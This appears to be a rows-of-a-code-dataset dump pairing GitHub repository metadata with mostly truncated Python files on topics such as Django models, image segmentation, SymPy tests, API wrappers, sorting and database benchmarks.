5899e325d43652aed82f53bfae991d53b002dc48 | c194c32f1943b183fbda41e9a9c1a775338b27f5 | /main/models.py | 3e654ee41d7d354ccbdb762dbfc07a7464ac6353 | [] | no_license | OlegAndrus12/Kanban | c5f770a8371147f602f9c1c2249d352665da9069 | 5fe96e40a8c6bfe85e50cf3c96ce8eb482a89af5 | refs/heads/master | 2023-08-11T20:35:16.830597 | 2021-09-22T09:16:59 | 2021-09-22T09:16:59 | 399,858,713 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,039 | py | models.py | from django.db import models
from datetime import datetime
from django.utils.timezone import make_aware
from .managers import TaskManager, TaskBarManager
from django.urls import reverse
class TaskBar(models.Model):
name = models.CharField(max_length=200)
createdAt = models.DateField(auto_now_add=True)
modi... |
1342b21d24bf7e31767a69da614c4e8ddbb82af9 | ad32c2f9c37158540c6f221794a365b65bfbb02c | /lib/S05_lentilles_construction_graphique.py | 872281421464311780c6b38e43097c7027ba9500 | [] | no_license | jjfPCSI1/py4phys | 27bff9cd79e51b88dd926f552bda8c5d623585c0 | 47f9518d9b56e46a873bec9834c98c005a2c5017 | refs/heads/master | 2022-08-09T05:14:14.761789 | 2022-08-02T19:34:30 | 2022-08-02T19:34:30 | 22,642,385 | 27 | 18 | null | 2022-02-18T08:03:07 | 2014-08-05T12:21:56 | Jupyter Notebook | UTF-8 | Python | false | false | 6,161 | py | S05_lentilles_construction_graphique.py | # coding: utf8
# Sauf mention explicite du contraire par la suite, ce travail a été fait par
# Jean-Julien Fleck, professeur de physique/IPT en PCSI1 au lycée Kléber.
# Vous êtes libres de le réutiliser et de le modifier selon vos besoins.
"""
Travail proposé par Vincent Grenard (PCSI, Lycée Poincaré, Nancy)
obj... |
8a4e12d000d744b131b20e6a398586145d3c41b9 | 09f0772e2117381e52b0ff1273f87d2038a7e28f | /test.py | 70037ecdf6d844fe2e0416a41fb24d3551da3814 | [] | no_license | incognito050924/opencv_python_test | 982a6c43e223219b72af955f4e0719ef3104b58a | b517badecf5b254b12f21921160e92813ad54bd7 | refs/heads/master | 2021-05-12T14:59:12.519568 | 2018-01-23T22:20:06 | 2018-01-23T22:20:06 | 116,971,659 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,459 | py | test.py | import face_detector
import cv2
import numpy as np
import matplotlib.pyplot as plt
# img = cv2.imread('images/kate-upton.jpg')
# img = cv2.imread('images/images.jpg')
img = cv2.imread('images/bang_hair.jpg')
# img = cv2.imread('images/bang_hair2.jpg')
# img = cv2.imread('images/bang_hair3.jpg') # no face
# img = cv2.i... |
ef242e53bffce59e3391883f68167fc7ec9d09dd | 786027545626c24486753351d6e19093b261cd7d | /ghidra9.2.1_pyi/ghidra/file/formats/ios/png/IHDRChunk.pyi | 7b65a4a5bd73715b8708f52fabcf15de712037f5 | [
"MIT"
] | permissive | kohnakagawa/ghidra_scripts | 51cede1874ef2b1fed901b802316449b4bf25661 | 5afed1234a7266c0624ec445133280993077c376 | refs/heads/main | 2023-03-25T08:25:16.842142 | 2021-03-18T13:31:40 | 2021-03-18T13:31:40 | 338,577,905 | 14 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,742 | pyi | IHDRChunk.pyi | from typing import List
import java.lang
class IHDRChunk(object):
def __init__(self, __a0: ghidra.file.formats.ios.png.PNGChunk): ...
def equals(self, __a0: object) -> bool: ...
def getBitDepth(self) -> int: ...
def getBitsPerPalette(self) -> int: ...
def getBytesPerLine(self) -> int: ..... |
e2fef60cc27d94f69e6dda676f2d70ddee37231f | 730c2b9528f5b3a5547c5094a278dbd8ee45d4e7 | /infer.py | 918608f5cb5059fbabd98e2b628be283035bc3b7 | [] | no_license | HongHanh2104/segmentation | 0117cf400305987998b1f410a2e4949ec8ebe21b | 5104e79b3baffa9528f3c117a1c8fe2067b491ee | refs/heads/master | 2022-04-18T00:00:24.680132 | 2020-04-18T10:42:03 | 2020-04-18T10:42:03 | 239,699,520 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,330 | py | infer.py | import os
import argparse
from PIL import Image
import torch
from torchvision import transforms
from models.toymodel import ToyModel
from models.unet import UNet
import time
import numpy as np
import matplotlib.pyplot as plt
import pydicom as dicom
from utils.image import load_image_as_tensor
from utils.utils import N... |
fc14827e670546bf8b0f61580f05e0cb40dfec1c | abf44e2b7a259700949307a9e0bbce4e1de2ab21 | /visualization.py | f579b7f8880c912d66751c6b7b08bf779eb29201 | [
"MIT"
] | permissive | rajoffl/BigData-Project-3-Kafka-Streaming | 6558d7da937d2f798ef606191678c10398e6ccd8 | a7ceaeda89d4136040909df652078de375a54120 | refs/heads/main | 2023-08-11T03:24:12.229220 | 2021-09-07T09:23:09 | 2021-09-07T09:23:09 | 402,384,300 | 3 | 2 | null | null | null | null | UTF-8 | Python | false | false | 1,946 | py | visualization.py | import json
from pyspark.sql import SQLContext
sqlContext = SQLContext(sc)
import pandas as pd
import pandas
import matplotlib.pyplot as plt
import warnings
warnings.filterwarnings('ignore')
import os
import glob
mydir="/home/cloudera/streamData/output*"
#Running the program continuously
while(True):
# mydir="file... |
1b1444a8bb705daae0633acaed2a3511ef28bbc2 | c79df3e2fc69b86be31f601e353ca864bf0c2728 | /nltk_packages_install.py | 0d89a2495427fd4e0e2cc03defed7e30784e29eb | [
"MIT"
] | permissive | m-zakeri/requirements-smells-detector | 84c731cf801926ea35bcb57fe4f4964ba2f84713 | d51c1e3181d36baea6e061e149e5417a8d17b3fb | refs/heads/master | 2022-07-17T05:51:59.587519 | 2020-05-26T10:26:54 | 2020-05-26T10:26:54 | 267,266,256 | 2 | 1 | MIT | 2020-05-27T08:39:36 | 2020-05-27T08:39:35 | null | UTF-8 | Python | false | false | 184 | py | nltk_packages_install.py | import nltk
# https://www.nltk.org/data.html
# Once you’ve installed NLTK with pip install nltk,
# you should install the NLTK packages by running the following code
nltk.download() |
5cf72c66f3775f126b68f17f576843eb578a9301 | 7ade0ede90b4d342abb6bec8aa2d69aa1b9cde6a | /DigitRecognition/data_classes.py | 0ec8fb587d90db36226ddf1131ed95d1874e46d3 | [] | no_license | KacperWalasek/WTUM | b2c4b2640a3ea99cf05c66ed6796d927a3ab24cc | c9a766dcddbc07e04d88eaba86a716c79467e39c | refs/heads/main | 2023-04-25T09:41:48.815941 | 2021-05-28T17:35:28 | 2021-05-28T17:35:28 | 353,027,795 | 1 | 0 | null | 2021-05-28T15:31:00 | 2021-03-30T14:20:20 | Python | UTF-8 | Python | false | false | 142 | py | data_classes.py | class Entity:
def __init__(self, label, pixels):
self.label = label
self.pixels = pixels
label = 0
pixels = [[]]
|
2c9cd4c17791d025826e8653d669872bc3743c1f | 1b059f04961e743bc0bafd0028da94feac11c9bd | /stubs/transcrypt/__init__.pyi | 8db380bc42e23b56a7c770408556c264c38a0ba9 | [
"MIT"
] | permissive | daboross/screeps-ai-v2 | d18bb59179afd52fdfd3a73981fc09324591d66f | 8bb49f59c8c745801d1aef54e1734e28414171e7 | refs/heads/master | 2020-07-07T23:49:52.329480 | 2019-08-21T04:39:22 | 2019-08-21T04:39:22 | 203,507,433 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 33 | pyi | __init__.pyi | from . import modules as modules
|
97f87bc649c23c264918d29ac1e9eebe602abeb9 | 5698630e5286b0d846d0528b739d274421de7545 | /king_admin/utils.py | 678e2654597a4401354badf24095510a0db8f053 | [] | no_license | tungshine/crm_python | e2a13f88f8fee636a0ec671879145ace4152df38 | 014dd8007641a1236f1978b9e12a8135daa75020 | refs/heads/master | 2021-08-12T01:36:00.715106 | 2017-11-14T08:29:49 | 2017-11-14T08:29:49 | 108,102,647 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 974 | py | utils.py | # __author: TungShine
# __date: 2017/11/3
# __description:
from django.db.models import Q
def table_filter(request, admin_class):
"""进行条件过滤并返回过滤后的数据"""
filter_conditions = {}
keywords = ['page', 'o', '_q']
for k, v in request.GET.items():
if k in keywords: # 保留的分页关键字 and 排序关键字
con... |
4cab5ce4d056b836772203142ba910bbc0213150 | 06e0955ec5d8f0b5a68f956407039b8afcbf5bad | /examples/map_BayesConvLSTM_SIC_Barents_param_verifySIC_train_initConvLSTM.py | 93a6a7731732baea56291c86c8abde5be5d8e7c1 | [
"Apache-2.0"
] | permissive | geek-yang/DLACs | 03daccbcbb3a8bc31a9e3b966b44d6f4d2ae2ec2 | 2580bc78d7653559fe1e991350ad7f57ff13d2d7 | refs/heads/master | 2023-04-13T01:48:18.947119 | 2022-09-22T18:51:51 | 2022-09-22T18:51:51 | 181,502,808 | 14 | 5 | Apache-2.0 | 2022-09-22T18:51:52 | 2019-04-15T14:21:32 | Jupyter Notebook | UTF-8 | Python | false | false | 27,655 | py | map_BayesConvLSTM_SIC_Barents_param_verifySIC_train_initConvLSTM.py | # -*- coding: utf-8 -*-
"""
Copyright Netherlands eScience Center
Function : Predict the Spatial Sea Ice Concentration with BayesConvLSTM at weekly time scale - Train model
Model initialize with ConvLSTM weight
Author : Yang Liu
First Built : 2020.03.09
Last Update : 2020.07.02
Library :... |
dcec49f8a1e89893f5fa5b8600d56b9b8a0d8062 | c40abdbb2cb35758935db06d336e26d532e6d00f | /1802/18_2_incapsulate.py | 0fd3cf5fca87f85e41cd0e2dece3ba8b401963a4 | [] | no_license | DragonKoc/ITEA | 77f09ed5e6947772550947d9d7f390cb87b92185 | 666d863be3b95a019d49f3c427e1eeca9b106e6c | refs/heads/master | 2021-02-12T11:40:03.211894 | 2020-03-03T09:06:38 | 2020-03-03T09:06:38 | 244,589,793 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 280 | py | 18_2_incapsulate.py | class A:
def __init__(self):
self.a = 0 # public interface
self._donttouchme = 0 # var of class (not interface, best dont touch)
self.__secret = 0 #
a = A()
print(a.a)
a.a = 3
print(a.a)
#
print(a._donttouchme)
print(vars(a))
a.__secret |
4b51b46399ad88aa63d9bfc8d48669d146707c81 | 2dadc071440a236c32645e5af81d0aa72d68050f | /machine_learning/label.py | 105c7f7d5c0ba8ac6e9de1739e5d6b7304db5549 | [] | no_license | sunary/data-science | a58d572d05c7c14b7ab5d281889d7206838d97ab | ac5d2af680948e76cf21248797a7014b27e96703 | refs/heads/master | 2023-04-12T08:42:13.950495 | 2023-03-28T01:05:32 | 2023-03-28T01:05:32 | 43,934,997 | 4 | 3 | null | 2023-03-31T14:29:53 | 2015-10-09T05:31:13 | Python | UTF-8 | Python | false | false | 1,265 | py | label.py | __author__ = 'sunary'
import pandas as pd
import numpy as np
from sklearn.cross_validation import train_test_split
from sklearn import metrics
import matplotlib.pyplot as plt
from sklearn.linear_model import LogisticRegression
def logistic_regression():
df = pd.read_csv('../resources/data0.txt', header=None)
... |
78256beebcb388ac6e67d8f784070fe4c244441f | 53fac1511cf27a6150277c6fc51c3d9199fce764 | /server.py | 96035650db1bc119f7cde87bc2e23a3ac8d37f06 | [] | no_license | Dmitry314/client_server_for_audio | c99c128eb79e97836c7542f6227398786f5e8e1f | 84b9155a530f1111755d6a2eec028335a2f64f86 | refs/heads/master | 2021-09-05T01:29:13.539798 | 2018-01-23T12:15:06 | 2018-01-23T12:15:06 | 118,605,773 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,702 | py | server.py | #!/usr/bin/env python2
# -*- coding: utf-8 -*-
"""
Created on Tue Jan 23 11:31:51 2018
@author: dmitriy
First we need to install portaudio module
sudo apt-get install libasound-dev
Download portaudio from http://portaudio.com/download.html
tar -zxvf [portaudio.tgz]
Enter the directory, ./... |
185dfb186a8095816ec12d4c8e74b5a947d522cb | 7cf97f8e4667b3df4493025bd260d67ecf61c85b | /linear_reg.py | 2316cd5049d120de715f6bacc251278dc0360d82 | [] | no_license | krisara4727/machine-learning | c678781ec8dbfe30befb06a7fdd5d3422fbfdc04 | 89d7a37e6c3c7af5f6ea8b7f139c547cbac65d46 | refs/heads/master | 2020-08-12T03:50:28.604272 | 2019-10-16T09:16:39 | 2019-10-16T09:16:39 | 214,683,032 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 862 | py | linear_reg.py | import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
from sklearn.linear_model import LinearRegression
#from sklearn.metrics import mean_squared_error ,r2_error
data=pd.read_csv('../downloads/headbrain.csv')
data.head()
x=data.iloc[:,2:3].values
y=data.iloc[:,3:4].values
l=len(x)
first=l//4
x_train=... |
ef4d5b62fe60512b17869067c44ecfa4c873d066 | 88bc8c7bc6315ef9adbe18085366826ed948e107 | /pynative/string_new/find_word_alpha_num.py | 8de929dfb9ebbe1f21bf3f98518c776537916de2 | [] | no_license | chavhanpunamchand/PythonPractice | 3a8205c7186e114ea9d17eab7cbc1ec99db170ae | 41e78553ed317de9478c704ff1bc876a3df0791e | refs/heads/master | 2023-06-30T12:15:33.222269 | 2021-07-29T05:14:33 | 2021-07-29T05:14:33 | 282,662,208 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 375 | py | find_word_alpha_num.py | """ find word with both alphabet and numbers """
str1="Emma25 is data scientiest50 and AI Expert"
print("The original string is :",str1)
res=[]
temp=str1.split()
for item in temp:
if any( char.isalpha() for char in item) and any( char.isdigit() for char in item):
res.append(item)
print("Diplay the word ... |
b72b24fa01ee9a49f287384812752c1a1ee6b94f | 74a8503870c091dfc02d0772be71bd8eed508835 | /api_ftx/FtxRestApi.py | 527182a232393657f39f133b88181c9e079b9ea5 | [] | no_license | xiaorensean/Aggregated-Exchanges-App | 3c212c4dfc396276c4604194936b5ed11bbd099b | 070bf23c057621910589881542673d0e02691c9e | refs/heads/master | 2023-02-25T08:20:14.435706 | 2021-01-30T15:18:34 | 2021-01-30T15:18:34 | 255,150,488 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 3,031 | py | FtxRestApi.py | from urllib.request import Request, urlopen
import json
import arrow
import time
import datetime
import pandas as pd
# FTX base URL
base_URL = 'https://ftx.com/api'
# get json
def api_json(url):
hdr = {'User-Agent': 'Mozilla/5.0'}
req = Request(url,headers=hdr)
response = urlopen(req)
page = respon... |
5df420edda387ed31f5d894dbc1103f16877860d | 3a391dc6f2d1f6494a7ba0f7287fc8f843bdbd62 | /2020/topolPlusRain_PperSubb.py | 4709a80c71f92f06910fea054ba3c0abbd8f446a | [] | no_license | scatanoa/thesis | 16f3283fec53e6384ba6e59885df67456dd47b55 | 07ec00368711fdb1dd43ee0eb7859b9f46c44f74 | refs/heads/master | 2021-08-18T10:07:24.701550 | 2020-09-08T15:19:40 | 2020-09-08T15:19:40 | 220,078,300 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,972 | py | topolPlusRain_PperSubb.py | #!/usr/bin/env python
# -*- coding: UTF-8 -*-
#dec20, 2019
#pre-existing modules
import numpy as np
import matplotlib.pyplot as plt
import time
import mapPlot as mp
#import bin_io as io
def printCumRumTime(t1):
t2 = time.time()
print(f'run_t[s] = {t2-t1}')
def P_perSubbasin(): #each day, get matrix: P(... |
9fc564dd6239775a19d23d32a183c689fe3bcbab | 9743d5fd24822f79c156ad112229e25adb9ed6f6 | /xai/brain/wordbase/nouns/_speaker.py | 18c6fcac088a048f9fd806960685e07968dc88a4 | [
"MIT"
] | permissive | cash2one/xai | de7adad1758f50dd6786bf0111e71a903f039b64 | e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6 | refs/heads/master | 2021-01-19T12:33:54.964379 | 2017-01-28T02:00:50 | 2017-01-28T02:00:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 593 | py | _speaker.py |
#calss header
class _SPEAKER():
def __init__(self,):
self.name = "SPEAKER"
self.definitions = [u'a person who gives a speech at a public event: ', u'someone who speaks a particular language: ', u'the part of a radio, television, or computer, or of a piece of electrical equipment for playing recorded sound, thro... |
0cab7eafc16825f172942b97705ad85c56871786 | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p02384/s686821988.py | aea92c2bf3ff7339c190b16d95077333875778b2 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 601 | py | s686821988.py | class Converter:
d = {
1: { 2: 3, 3: 5, 4: 2, 5: 4, },
2: { 1: 4, 3: 1, 4: 6, 6: 3, },
3: { 1: 2, 2: 6, 5: 1, 6: 5, },
4: { 1: 5, 2: 1, 5: 6, 6: 2, },
5: { 1: 3, 3: 6, 4: 1, 6: 4, },
6: { 2: 4, 3: 2, 4: 5, 5: 3, }
}
def __init__(self, s):
l = s.sp... |
2f258ba51caad1744c23054d54bef5441dfd22a1 | 99395ff060261a99145b7a8c23330ef6f48ace99 | /views/log/__init__.py | f60f6e7b0e02fd38bc9f06016f083cc2e03fc77a | [] | no_license | Leonkeys/handle_log | 7f458a6f904f0171911598a6d9beef69e80a0d06 | 40de33c2be0ea3b9297172f4618d18baa33af915 | refs/heads/master | 2023-01-01T19:01:04.431549 | 2020-10-28T08:08:42 | 2020-10-28T08:08:42 | 307,970,695 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 128 | py | __init__.py | from flask import Blueprint
log = Blueprint('log', __name__)
from .views import *
import pymysql
pymysql.install_as_MySQLdb() |
8d9be84a9038b76f29597616fdb3078ab3bd4d4c | 4982c1916afd2d8a7335611b0460e1ac1d827d1d | /week_2/list.py | 6a464b7294ce633f694761c5c67efe69cce2078d | [] | no_license | samims/nptel_python | 61d3079b57f90aa04b59a31d7fe5676aead47f74 | 58086ff9e10201f7499d5f3bc56300eed0455882 | refs/heads/master | 2021-01-09T20:02:27.970627 | 2016-08-07T20:22:29 | 2016-08-07T20:22:29 | 65,152,338 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 318 | py | list.py | # -*- coding: utf-8 -*-
"""
Created on Tue Aug 2 17:52:26 2016
@author: sam
"""
list1 = [[1,2,['My']],5,"self",["Samim"]]
list2 = [[1,2,['My']],5,"self",["Samim"]]
list3 = list2
print(list1 == list2)
print(list1 is list2)
print(list3 is list2)
print(list3 is list1)
print(list1 == list3)
print((list1[0][2][:]))
|
3f1a3e446c08920f2ef5eeb1574473c0404a3a8a | de8a25de81d706674bdcfb24dcdaefc2bb4123c3 | /Majority Element.py | 39316f2229805fe2ac87b8918f7f25559ccbd335 | [] | no_license | abhireddy96/Geeks-For-Geeks | 4fa52995d8e64b59860610656f9e18601ff21079 | a0c28211699e768b8c738f245daed04dfb19c3d0 | refs/heads/master | 2020-06-26T12:10:08.743778 | 2020-03-04T06:41:31 | 2020-03-04T06:43:52 | 199,627,053 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,351 | py | Majority Element.py | """
https://practice.geeksforgeeks.org/problems/majority-element/0
Given an array A of N elements. Find the majority element in the array. A majority element in an array A of size N is an element that appears more than N/2 times in the array.
"""
__author__ = 'abhireddy96'
from typing import List
class Solution:
... |
9310d67a7fa93847469daf5424a1486f723ba981 | 6c81ac3dbf227002dea84b5cf98b37de4ff0a3ed | /Examples/Manoeuvre.py | f3e25b3da8da9eb1716509538e840bb68361bf24 | [
"MIT"
] | permissive | tristandijkstra/msp-examples | 1b85643c633f248a02c07c4012876e0acc60e515 | 463ed5e4fe703bf770f0e710266b0e0e112136f3 | refs/heads/master | 2022-09-05T18:30:28.611562 | 2020-05-26T10:09:03 | 2020-05-26T10:09:03 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,577 | py | Manoeuvre.py | from msp import msp, simtools
import time
import math
import numpy as np
DATAFILE = "runs/ManouvreTest.csv" # saves csv data here
SPEED = 700 # __ times speed for the animation
# USE km AS STANDARD DISTANCE UNIT
# USE s AS STANDARD TIME UNIT
currentTime = time.time()
Earth = simtools.Earth
# Angles here are given ... |
3b54133ac888bb344446136db0ff3a8311d512ba | 39c4b4cdddf4cd7ed3d4fe13d521e643803b21e2 | /comico-jp.py | 0a38ab9831a84dae3672713f750cda6e06132f74 | [] | no_license | zhongfly/comico | 2c0dff28fb23a0e38bc50d32d4e7992dfa727423 | fe3c554b7d05a48c27a129e3f78683fee5899a2e | refs/heads/master | 2020-06-21T23:20:07.515011 | 2018-07-25T05:28:20 | 2018-07-25T05:28:20 | 94,207,173 | 7 | 4 | null | 2017-12-26T07:59:37 | 2017-06-13T11:47:45 | Python | UTF-8 | Python | false | false | 5,456 | py | comico-jp.py | # encoding:UTF-8
import queue
import lxml
# 以上均为用pyinstaller打包时需要加上的依赖
import requests
import os
from bs4 import BeautifulSoup
import zipfile
from PIL import Image
print('comico漫画下载\n作者：ishadows\n')
s = requests.Session()
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) \
... |
198c1598560e8089e83696f25652d414849bc261 | 1143cb89ffea648edaacac7ba60629a8b785215d | /old_exercises/playalongchapter3.py | 343ae2e10129a339cd290413b92a50c31f5e64ac | [] | no_license | learninglegion/PCC | c7b90480d152d358ed0b60970faa00ca122eafb3 | e9e113bc5420921458140b9b6f368efdfd6cbdb8 | refs/heads/main | 2023-04-14T23:24:43.343741 | 2021-04-24T00:06:13 | 2021-04-24T00:06:13 | 352,787,079 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,194 | py | playalongchapter3.py | # names = ["sean", "dragon", "patrick", "adam", "matt"]
# cars = ["Telsa", "BMW", "Honda", "Dodge", "Kia"]
# motorcycles = ["Kawasaki",'Harley', "Suzuki", "Harley", "Yamaha", "Ducati"]
# print (cars[-1].title())
# message = f"I wish I had a {cars[0].title()}."
# message0 = f"Hi, {names[0].title()}! How are you?"
# prin... |
bbf0dd607a066bfbc28399d7886068631eb48349 | 57feade0eaa5a5a3e65418bf7bbc57e878f3423f | /tests/test_benchmark.py | 2b2960f4b0719f846d6eba7c8a3bffcb983a708d | [
"Apache-2.0"
] | permissive | EGQM/zipline | 63beff0f7c68f683547f61fc030a4502c637264f | 85a2f6fe007a2a22fe29cc9586d8da247e8883f1 | refs/heads/master | 2021-01-18T15:34:27.385523 | 2016-04-15T19:24:51 | 2016-04-15T19:24:51 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,462 | py | test_benchmark.py | #
# Copyright 2015 Quantopian, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in wr... |
ce3fdeeca63488e39fdae8a848bc98cc0c90b301 | 310a0df7916bacadf3cae1a6387b633e8c0a35a6 | /UMSE Server/server.py | a9d40470e2838a343552d00dcb1c38682ea14df3 | [
"BSD-3-Clause"
] | permissive | jack51706/umse | 12c79572987f059f36a9975d4ff04d963d7bd853 | 52567eb8a08911415b248276f70804bc9107e462 | refs/heads/master | 2022-04-09T02:49:44.610151 | 2020-03-04T20:49:46 | 2020-03-04T20:49:46 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,525 | py | server.py | #!/usr/bin/env python
# -*- coding: UTF-8 -*-
"""
* UMSE Antivirus Agent Example
* Author: David Alvarez Perez <dalvarezperez87[at]gmail[dot]com>
* Module: UMSE Intelligence Server
* Description: This module launch the "UMSE Intelligence Server".
*
* Copyright (c) 2019-2020. The UMSE Authors. All Rights Reserved.... |
5f245d15362aaca463cfa71d32de6d4690516b54 | 6a468c1650b3c083f102f19ace0b0d6e4d0686f7 | /sympy/functions/elementary/tests/test_exponential.py | def3eaad262306f4d3e74735134b802b3e9ffeb4 | [
"BSD-3-Clause",
"MIT"
] | permissive | sympy/sympy | a5f8accaa7686c59d9b5c94212fef60d746dac4b | 69f98fb2b0d845e76874067a381dba37b577e8c5 | refs/heads/master | 2023-09-01T15:51:37.886107 | 2023-08-31T20:54:33 | 2023-08-31T20:54:33 | 640,534 | 10,928 | 5,362 | NOASSERTION | 2023-09-14T17:29:13 | 2010-04-30T20:37:14 | Python | UTF-8 | Python | false | false | 29,687 | py | test_exponential.py | from sympy.assumptions.refine import refine
from sympy.calculus.accumulationbounds import AccumBounds
from sympy.concrete.products import Product
from sympy.concrete.summations import Sum
from sympy.core.function import expand_log
from sympy.core.numbers import (E, Float, I, Rational, nan, oo, pi, zoo)
from sympy.core.... |
3e2a4680497cc4365bdd8e853af928770c1c3008 | d18ed72d6f8d27dd8a13eab5c6366f9dca48aa6b | /espresso/vinil/content/actors/espresso/input-edit.odb | ebe14fe11e4f7a6d36de0ce083b3eada7673b066 | [
"Apache-2.0"
] | permissive | danse-inelastic/AbInitio | 6f1dcdd26a8163fa3026883fb3c40f63d1105b0c | 401e8d5fa16b9d5ce42852b002bc2e4274afab84 | refs/heads/master | 2021-01-10T19:16:35.770411 | 2011-04-12T11:04:52 | 2011-04-12T11:04:52 | 34,972,670 | 1 | 2 | null | null | null | null | UTF-8 | Python | false | false | 4,836 | odb | input-edit.odb | #!/usr/bin/env python
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Alex Dementsov
# California Institute of Technology
# (C) 2009 All Rights Reserved
#
# {LicenseText}
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~... |
851dec1a30f513adae116e19e3c2207e4360f1f4 | 7f4051bbf5d7668e7d0ae861323263c88cc223ac | /rasa_contrib/nlu/featurizers/bert_char_featurizer.py | 0dcb6c788cf1729917ac5f44574b7578556e203f | [
"Apache-2.0"
] | permissive | madkote/rasa_contrib | 13af0585a283933cfe49f542fd4e243602156c96 | fea3b818a343f1458d7cf15a4d9063464a304b19 | refs/heads/master | 2022-12-24T15:42:28.112414 | 2020-07-19T14:47:49 | 2020-07-19T14:47:49 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,009 | py | bert_char_featurizer.py | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import logging
import numpy as np
from rasa_contrib.nlu.featurizers.bert_base import BertBase
logger = logging.getLogger(__name__)
class BertCharFeaturizer(BertBase)... |
a3525947e493042e5bc24c84373afb1d622b7043 | b8088b63033fad463db122b0911f9046ec8e34af | /__init__.py | 0231f8965552eb1eb1ae93163674f8cd7d2d5fa8 | [] | no_license | BDeMo/networkHelper | a0b85c3802e8c047df22cf52045b73d2844dc01f | 359fa302c298b63c52a0c0a3c539a369d1e422c7 | refs/heads/master | 2020-04-27T01:17:23.334802 | 2019-03-07T10:45:43 | 2019-03-07T10:45:43 | 173,960,863 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 169 | py | __init__.py | #created by SamJ
#github:github.com/BDeMo
#2019-3-5- 21:19:40
import sys
import os
if __name__ == '__main__':
print(sys.path)
sys.path.append(os.system('pwd')) |
f3d7910efca8b1f9999063c28ad55949e85e4618 | d22946485c5f77f144e4c78f5d984685e2e7f890 | /3/simple/Hybrid/Hybrid_read.py | de2c7df0f8caecc37c74ee46f753e27bddc15895 | [] | no_license | BurningWish/Benchmarking-Scripts | 588a895484becedabd656047a8b4468b30d40d69 | 317dfc2f2f31981cb5c957179d8b6338d26fa1fa | refs/heads/master | 2020-05-07T00:52:59.907095 | 2019-06-21T09:53:33 | 2019-06-21T09:53:33 | 180,247,589 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,123 | py | Hybrid_read.py | import fiona
import time
import networkx as nx
from neo4j.v1 import GraphDatabase
from shapely.wkt import loads
import psycopg2
"""
Specify the PostGIS database we want to visit
"""
dbname = "FED_80000"
def writeNodesToShp(nodes, node_geoms, netid):
# write the nodes then
sourceDriver = 'ESRI Shapefile'
... |
fb553fbe74322040c6918ca812207dba2d9ad550 | ba6105cbef80245d6a19215d343b2a7890a30271 | /Unit 5- Objects and Algorithms/Ch 5.2- Algorithms/Bubble sort.py | e41ef0010ad7baabcd448696856ee25ed97e9b1e | [] | no_license | pyl135/Introduction-to-Computing-using-Python | a9a3674cd9088d50c9eef0f46ac6da5f084f9a2e | 92e94ce2d7a23a45fa00a2907f69682e25e6ed48 | refs/heads/master | 2021-04-12T10:43:33.757692 | 2018-03-30T07:07:08 | 2018-03-30T07:07:08 | 126,672,556 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 746 | py | Bubble sort.py | def bubbleSort(lst):
#Set swapOccurred to True to guarantee the loop runs once
swapOccurred = True
#Run the loop as long as a swap occurred the previous time
while swapOccurred:
#Start off assuming a swap did not occur
swapOccurred = False
#For every item i... |
7eb7ceac743c500b7625e9c2c21b03c0592ef5eb | 146db8cd0f775e0c4d051ea675bd147f1cb08503 | /papers/paper-nsdi2013/data/tools/experiments/scripts/NrNw.py | 04da2fa74254f15f030d7841e3d256ab60be9fe9 | [
"Apache-2.0"
] | permissive | syndicate-storage/syndicate | 3cb4a22a4ae0d92859f57ed4634b03f1665791e4 | 4837265be3e0aa18cdf4ee50316dbfc2d1f06e5b | refs/heads/master | 2020-04-14T19:59:42.849428 | 2016-03-24T15:47:49 | 2016-03-24T15:47:49 | 10,639,326 | 16 | 6 | null | null | null | null | UTF-8 | Python | false | false | 10,781 | py | NrNw.py | #!/usr/bin/python
import urllib
import urllib2
import time
import random
import socket
import base64
import traceback
import sys
WRITER_PORT = 44444
WRITER_FILE = "/file-%s" % socket.gethostname()
AUTH = "jude:sniff"
MODE = '0666'
BLOCK_SIZE = 61440
CMD_URL = "http://vcoblitz-cmi.cs.princeton.edu/NrNw-command"
ret =... |
